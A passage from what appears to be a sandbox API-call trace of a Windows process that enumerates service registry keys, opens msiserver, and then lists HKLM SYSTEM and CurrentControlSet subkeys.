returned 1 [0218.508] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.508] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.508] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0218.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0218.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0218.509] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0218.510] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0218.511] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0218.512] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0218.513] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0218.514] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0218.515] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0218.516] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0218.517] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0218.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0218.518] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0218.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0218.519] RegCloseKey (hKey=0x148) returned 0x0 [0218.519] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0218.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0218.519] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0218.519] RegCloseKey (hKey=0x80000002) returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0218.519] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0218.520] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0218.520] RegCloseKey (hKey=0xc4) returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0x148, 